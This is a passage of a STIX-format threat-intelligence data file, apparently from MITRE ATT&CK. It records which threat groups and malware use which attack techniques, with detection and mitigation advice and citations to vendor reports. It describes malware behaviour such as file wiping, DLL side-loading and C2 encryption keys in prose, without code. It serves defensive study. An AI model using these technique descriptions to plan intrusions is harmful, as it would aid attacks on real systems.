2018)","relationship_type":"uses","source_ref":"malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--82bfe762-9468-458e-801a-13387a271521","type":"relationship","created":"2020-10-12T19:54:58.627Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye EPS Awakens Part 2","description":"Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.","url":"https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html"}],"modified":"2020-10-12T19:54:58.627Z","description":"[APT16](https://attack.mitre.org/groups/G0023) has compromised otherwise legitimate sites as staging servers for second-stage payloads.(Citation: FireEye EPS Awakens Part 2)","relationship_type":"uses","source_ref":"intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70","target_ref":"attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cd0f725b-ac60-4cc2-ae01-3b4f0d53e6e9","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Monitor and investigate attempts to modify ACLs and file/directory ownership.","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9567076b-2a77-43e4-befd-19556def9d47","type":"relationship","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.876Z","description":"Monitor newly executed processes that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45966f4c-51d4-4940-854d-79d712f63ed5","type":"relationship","created":"2017-05-31T21:33:27.054Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","source_name":"Baumgartner Naikon 2015"},{"source_name":"CameraShy","description":"ThreatConnect Inc. and Defense Group Inc. (DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015.","url":"http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf"}],"modified":"2019-04-10T15:59:09.302Z","description":"(Citation: Baumgartner Naikon 2015)(Citation: CameraShy)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"malware--22addc7b-b39f-483d-979a-1b35147da5de","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--40ad3b2e-e88c-43a2-82c5-666e8ae568e4","created":"2022-03-25T20:32:32.908Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Hermetic Wizard March 2022","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWiper](https://attack.mitre.org/software/S0697) can recursively wipe folders and files in `Windows`, `Program Files`, `Program Files(x86)`, `PerfLogs`, `Boot, System`, `Volume Information`, and `AppData` folders using `FSCTL_MOVE_FILE`. [HermeticWiper](https://attack.mitre.org/software/S0697) can also overwrite symbolic links and big files in `My Documents` and on the Desktop with random bytes.(Citation: ESET Hermetic Wizard March 2022)","modified":"2022-04-15T01:42:22.622Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a1844dc2-a809-4413-8509-e8d4b54882a5","type":"relationship","created":"2021-10-04T16:09:13.564Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-19T13:37:31.194Z","description":"Consider periodic review of <code>auditpol</code> settings for Administrator accounts and perform dynamic baselining on SIEM(s) to investigate potential malicious activity. Also ensure that the EventLog service and its threads are properly running.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d46078a7-420b-4074-8ecb-3440737c12e4","type":"relationship","created":"2020-08-03T19:28:18.115Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. 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Retrieved October 28, 2020."}],"modified":"2021-05-26T20:00:53.739Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has obtained and used publicly-available post-exploitation frameworks and tools like Metasploit, [Empire](https://attack.mitre.org/software/S0363), [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: FireEye KEGTAP SINGLEMALT October 2020)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3185e611-cec6-4910-aa64-efd8fafe1072","type":"relationship","created":"2021-03-16T22:50:13.912Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 AcidBox June 2020","url":"https://unit42.paloaltonetworks.com/acidbox-rare-malware/","description":"Reichel, D. and Idrizovic, E. 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Retrieved May 19, 2020."}],"modified":"2020-05-20T14:05:11.768Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) has the ability to use form-grabbing to extract data from web data forms.(Citation: Bitdefender Agent Tesla April 2020)","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--881b3ad2-38dd-45b0-b75b-49acf6f7c6a3","type":"relationship","created":"2020-06-23T18:12:47.888Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. 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Retrieved June 9, 2020."}],"modified":"2020-06-24T01:29:47.695Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used legitimate applications to side-load malicious DLLs.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--92e4cc06-5708-4486-92cc-0d25d9a755d4","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dingledine Tor The Second-Generation Onion Router","description":"Roger Dingledine, Nick Mathewson and Paul Syverson. (2004). Tor: The Second-Generation Onion Router. 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(2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-15T15:03:46.128Z","description":"[MarkiRAT](https://attack.mitre.org/software/S0652) can check for running processes on the victim’s machine to look for Kaspersky and Bitdefender antivirus products.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"malware--532c6004-b1e8-415b-9516-f7c14ba783b1","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5a25798a-eca1-4841-b422-95aa3bf025e3","type":"relationship","created":"2021-07-30T15:54:30.810Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bishop Fox Sliver Framework August 2019","url":"https://labs.bishopfox.com/tech-blog/sliver","description":"Kervella, R. (2019, August 4). Cross-platform General Purpose Implant Framework Written in Golang. Retrieved July 30, 2021."},{"source_name":"GitHub Sliver C2","url":"https://github.com/BishopFox/sliver/","description":"BishopFox. (n.d.). Sliver. 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Retrieved April 10, 2019.","source_name":"Baumgartner Naikon 2015"}],"modified":"2019-04-10T15:59:09.372Z","description":"(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--29284c62-45b2-4650-88ac-fea62ddcd829","type":"relationship","created":"2020-01-24T17:00:00.074Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-01-24T17:00:00.074Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6613ed52-5c6c-43f2-bd0c-9809769cb022","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Putter Panda","description":"Crowdstrike Global Intelligence Team. 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Retrieved March 25, 2022."}],"modified":"2022-03-25T14:32:35.653Z","description":"[Donut](https://attack.mitre.org/software/S0695) includes subprojects that enumerate and identify information about [Process Injection](https://attack.mitre.org/techniques/T1055) candidates.(Citation: Donut Github)\t","relationship_type":"uses","source_ref":"tool--a7b5df47-73bb-4d47-b701-869f185633a6","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ebd87b4c-eca9-4680-9608-a49ec74b5c4b","type":"relationship","created":"2019-01-30T19:50:46.737Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. 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(2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"}],"modified":"2019-07-26T16:10:43.155Z","description":"[Epic](https://attack.mitre.org/software/S0091) heavily obfuscates its code to make analysis more difficult.(Citation: Kaspersky Turla)","relationship_type":"uses","source_ref":"malware--6b62e336-176f-417b-856a-8552dd8c44e1","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f9aa88f9-353c-4cc0-8d58-b5b4b00bfff2","type":"relationship","created":"2021-03-01T21:23:22.759Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AppleJeus Feb 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021."}],"modified":"2021-04-27T15:46:45.780Z","description":"[AppleJeus](https://attack.mitre.org/software/S0584) has placed a plist file within the <code>LaunchDaemons</code> folder and launched it manually.(Citation: CISA AppleJeus Feb 2021)","relationship_type":"uses","source_ref":"malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858","target_ref":"attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db2be919-e747-430b-a7ee-d619a11abd93","type":"relationship","created":"2022-03-15T20:02:43.814Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"KISA Operation Muzabi","url":"https://www.boho.or.kr/krcert/publicationView.do?bulletin_writing_sequence=35936","description":"KISA. (n.d.). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 7, 2022."}],"modified":"2022-03-15T20:02:43.814Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has downloaded additional malware with scheduled tasks.(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4dafcd2-fed8-4266-b83e-f4033ada0d55","type":"relationship","created":"2019-06-20T15:39:37.686Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-03-25T18:13:18.670Z","description":"Prevent adversary access to privileged accounts or access necessary to replace system firmware.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49aeba9e-9ae9-4eb2-873e-b8ab4f8ab347","type":"relationship","created":"2020-02-18T18:03:37.709Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object","description":"Brower, N., Lich, B. (2017, April 19). Create a token object. Retrieved December 19, 2017.","source_name":"Microsoft Create Token"},{"url":"https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token","description":"Brower, N., Lich, B. (2017, April 19). Replace a process level token. Retrieved December 19, 2017.","source_name":"Microsoft Replace Process Token"},{"source_name":"Microsoft runas","description":"Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017.","url":"https://technet.microsoft.com/en-us/library/bb490994.aspx"}],"modified":"2020-03-06T13:37:57.328Z","description":"Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token.(Citation: Microsoft Replace Process Token)\n\nAdministrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command <code>runas</code>.(Citation: Microsoft runas)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--919f6143-eb8c-48cd-8741-118040c372ab","type":"relationship","created":"2019-07-22T15:35:24.376Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Soft Cell June 2019","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}],"modified":"2019-07-22T15:49:29.135Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) ensured each payload had a unique hash, including by using different types of packers.(Citation: Cybereason Soft Cell June 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b7a27a94-f036-4a0b-a96c-aa7bb1c7311f","type":"relationship","created":"2020-03-13T13:51:58.701Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SANS Application Whitelisting","url":"https://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599","description":"Beechey, J.. (2014, November 18). Application Whitelisting:  Panacea or Propaganda?. Retrieved November 18, 2014."},{"source_name":"Microsoft Windows Defender Application Control","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control","description":"Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019."},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Microsoft Application Lockdown","url":"https://docs.microsoft.com/en-us/previous-versions/technet-magazine/cc510322(v=msdn.10)?redirectedfrom=MSDN","description":"Corio, C., & Sayana, D. P.. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014."},{"source_name":"Microsoft Using Software Restriction ","url":"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/ee791851(v=ws.11)?redirectedfrom=MSDN","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016."}],"modified":"2021-08-23T20:25:22.495Z","description":"Adversaries will likely need to place new binaries in locations to be executed through this weakness. Identify and block potentially malicious software executed path interception by using application control tools, like Windows Defender Application Control, AppLocker, or Software Restriction Policies where appropriate.(Citation: SANS Application Whitelisting)(Citation: Microsoft Windows Defender Application Control)(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker)(Citation: Microsoft Application Lockdown)(Citation: Microsoft Using Software Restriction )","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e630f6b-8662-4ffe-b666-709e17aad69f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Putter Panda","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}],"modified":"2020-03-30T18:34:04.182Z","description":"[3PARA RAT](https://attack.mitre.org/software/S0066) command and control commands are encrypted within the HTTP C2 channel using the DES algorithm in CBC mode with a key derived from the MD5 hash of the string HYF54&%9&jkMCXuiS. [3PARA RAT](https://attack.mitre.org/software/S0066) will use an 8-byte XOR key derived from the string HYF54&%9&jkMCXuiS if the DES decoding fails(Citation: CrowdStrike Putter Panda)","relationship_type":"uses","source_ref":"malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b6bee9b-469e-48ce-84fa-5322de03470a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Scarlet Mimic Jan 2016","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}],"modified":"2020-03-27T20:41:21.589Z","description":"The original variant of [FakeM](https://attack.mitre.org/software/S0076) encrypts C2 traffic using a custom encryption cipher that uses an XOR key of “YHCRA” and bit rotation between each XOR operation. Some variants of [FakeM](https://attack.mitre.org/software/S0076) use RC4 to encrypt C2 traffic.(Citation: Scarlet Mimic Jan 2016)","relationship_type":"uses","source_ref":"malware--bb3c1098-d654-4620-bf40-694386d28921","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2035eee7-c1c3-4039-9fc0-af85b21a5e3f","type":"relationship","created":"2021-11-12T19:30:36.047Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Diavol July 2021","url":"https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider","description":"Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}],"modified":"2021-11-12T19:30:36.047Z","description":"[Diavol](https://attack.mitre.org/software/S0659) will terminate services using the Service Control Manager (SCM) API.(Citation: Fortinet Diavol July 2021) ","relationship_type":"uses","source_ref":"malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--08738197-aa06-4177-acc2-10569c39f423","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Github Koadic","description":"Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.","url":"https://github.com/zerosum0x0/koadic"}],"modified":"2020-03-19T18:05:39.185Z","description":"[Koadic](https://attack.mitre.org/software/S0250) performs most of its operations using Windows Script Host (VBScript) and runs arbitrary shellcode .(Citation: Github Koadic)","relationship_type":"uses","source_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66b5808f-b124-4736-bb6b-289503d07fa2","type":"relationship","created":"2021-06-08T13:23:15.113Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AR21-126A FIVEHANDS May 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a","description":"CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."},{"source_name":"NCC Group Fivehands June 2021","url":"https://research.nccgroup.com/2021/06/15/handy-guide-to-a-new-fivehands-ransomware-variant/","description":"Matthews, M. and Backhouse, W. (2021, June 15). Handy guide to a new Fivehands ransomware variant. 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Retrieved July 10, 2018.","source_name":"TrendMicro Patchwork Dec 2017"}],"modified":"2020-03-17T14:24:50.189Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) copied all targeted files to a directory called index that was eventually uploaded to the C&C server.(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5fdd0fba-8d1d-411a-b47b-3e5aae512892","type":"relationship","created":"2020-05-27T13:22:06.780Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Naikon May 2020","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}],"modified":"2020-06-03T13:40:15.348Z","description":"[Aria-body](https://attack.mitre.org/software/S0456) has the ability to identify the hostname, computer name, Windows version, processor speed, machine GUID, and disk information on a compromised host.(Citation: CheckPoint Naikon May 2020)","relationship_type":"uses","source_ref":"malware--3161d76a-e2b2-4b97-9906-24909b735386","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d032ba7f-4dee-4a98-b400-86e2eb0ee918","type":"relationship","created":"2019-04-12T15:20:35.934Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT38 Oct 